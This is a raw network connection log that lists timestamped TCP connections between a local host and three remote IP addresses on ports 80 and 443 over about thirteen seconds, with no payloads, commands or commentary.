Dec 27, 2024 09:01:31.158339977 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:31.158392906 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:31.158653021 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:31.158674002 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:31.433695078 CET	49837	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:31.434540987 CET	49844	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:31.553673983 CET	80	49837	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:31.553736925 CET	49837	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:31.553985119 CET	80	49844	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:31.554053068 CET	49844	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:31.558840036 CET	49844	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:31.678369045 CET	80	49844	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:31.784883976 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:31.784962893 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:31.785063028 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:31.785422087 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:31.785437107 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:32.894129038 CET	80	49844	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:32.894205093 CET	49844	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:32.997411966 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:32.997575998 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:32.999083996 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:32.999102116 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:32.999414921 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:33.000669003 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:33.000766993 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:33.000775099 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:33.645204067 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:33.645330906 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:33.645401001 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:33.645596027 CET	49846	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:33.645617962 CET	443	49846	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:34.158977032 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:34.159044027 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:34.159133911 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:34.159476995 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:34.159490108 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:34.520345926 CET	49844	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:34.520680904 CET	49853	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:34.640496969 CET	80	49844	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:34.640515089 CET	80	49853	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:34.640563965 CET	49844	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:34.640624046 CET	49853	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:34.640832901 CET	49853	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:34.760323048 CET	80	49853	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:35.416919947 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.417011976 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.418472052 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.418486118 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.418760061 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.420248032 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.421022892 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.421051979 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.421267033 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.421291113 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.421403885 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.421488047 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.421668053 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.421690941 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.421845913 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.421874046 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.422060013 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.422090054 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.422101021 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.422112942 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.422260046 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.422287941 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.422312021 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.422451019 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.422486067 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.467334986 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.467513084 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.467575073 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.467603922 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.515336990 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:35.515640020 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:35.563333035 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:36.082952976 CET	80	49853	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:36.083038092 CET	49853	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:37.596221924 CET	49853	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:37.596611977 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:37.716784000 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:37.716800928 CET	80	49853	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:37.716969967 CET	49853	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:37.717298985 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:37.717298985 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:37.838644981 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:39.164729118 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:39.164868116 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:40.581567049 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:40.581672907 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:40.581726074 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:40.582526922 CET	49852	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:40.582540035 CET	443	49852	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:40.660743952 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:40.660788059 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:40.660861015 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:40.661427021 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:40.661438942 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:40.783612967 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:40.783984900 CET	49871	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:40.903436899 CET	80	49871	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:40.903552055 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:40.903569937 CET	49871	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:40.903620005 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:40.903947115 CET	49871	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:41.023441076 CET	80	49871	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:41.872245073 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:41.872328997 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:41.873733997 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:41.873739004 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:41.873994112 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:41.875360966 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:41.875385046 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:41.875421047 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:42.336659908 CET	80	49871	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:42.336990118 CET	49871	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:42.642750025 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:42.642848015 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:42.642913103 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:42.650399923 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:42.650420904 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:42.650434017 CET	49870	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:42.650439978 CET	443	49870	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:42.677150011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:42.796693087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:42.796775103 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:42.797167063 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:42.916627884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:43.940802097 CET	49871	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:43.941884995 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:44.060904026 CET	80	49871	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:44.060987949 CET	49871	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:44.061275959 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:44.061352968 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:44.061700106 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:44.136571884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136595964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136607885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136718988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136766911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136775017 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.136778116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136790037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136796951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136820078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.136847019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.136914968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136925936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.136959076 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.181104898 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:44.256422043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.256448030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.256591082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.328557014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.328581095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.328768969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.332587957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.332674980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.332731962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.340996981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.341070890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.341145039 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.349333048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.349435091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.349486113 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.357703924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.357896090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.357949018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.374556065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.374721050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.374870062 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.383786917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.383935928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.383991957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.384135962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.384149075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.384195089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.391273022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.391324997 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.391371965 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.399667978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.399763107 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.399816036 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.408003092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.408102036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.408159018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.448266983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.501616955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.520340919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.520479918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.520526886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.522805929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.522918940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.522988081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.527817965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.527899027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.527941942 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.532841921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.532932043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.532979012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.537904978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.537982941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.538028002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.542785883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.542803049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.542845964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.547477961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.547508001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.547548056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.552303076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.552530050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.552582026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.557128906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.557203054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.557246923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.561939001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.562011003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.562056065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.566742897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.566848993 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.566895008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.571577072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.571701050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.571746111 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.576411009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.576525927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.576570988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.581294060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.581393003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.581434965 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.586076021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.586159945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.586206913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.590883970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.591001987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.591048956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.595695972 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.595810890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.595853090 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.600531101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.600641966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.600687027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.605320930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.605385065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.605431080 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.621241093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.621315002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.621364117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.640135050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.640223980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.640276909 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.642472029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.642577887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.642625093 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.647324085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.689162970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.712277889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.712335110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.712447882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.714268923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.714339018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.714387894 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.718100071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.718122959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.718184948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.721961975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.722124100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.722179890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.725797892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.725929976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.725976944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.729604006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.729736090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.729794025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.733247042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.733359098 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.733412981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.736820936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.736907959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.736959934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.740331888 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.740459919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.740514994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.743890047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.744007111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.744050980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.747411966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.747512102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.747562885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.750952959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.750993967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.751046896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.753967047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.754076004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.754127026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.756978035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.757164955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.757211924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.760025024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.760194063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.760242939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.763042927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.763170004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.763217926 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.766067982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.766114950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.766165972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.768172026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.768302917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.768357038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.770189047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.770308971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.770379066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.772248983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.772335052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.772387981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.774296999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.774364948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.774411917 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.777178049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.777198076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.777270079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.778372049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.778470993 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.778512955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.783704996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.783721924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.783776999 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.783974886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.784002066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.784039974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.786138058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.786314964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.786370039 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.788146973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.788311005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.788357973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.790276051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.790441990 CET	80	49876	185.215.113.16	192.168.2.4
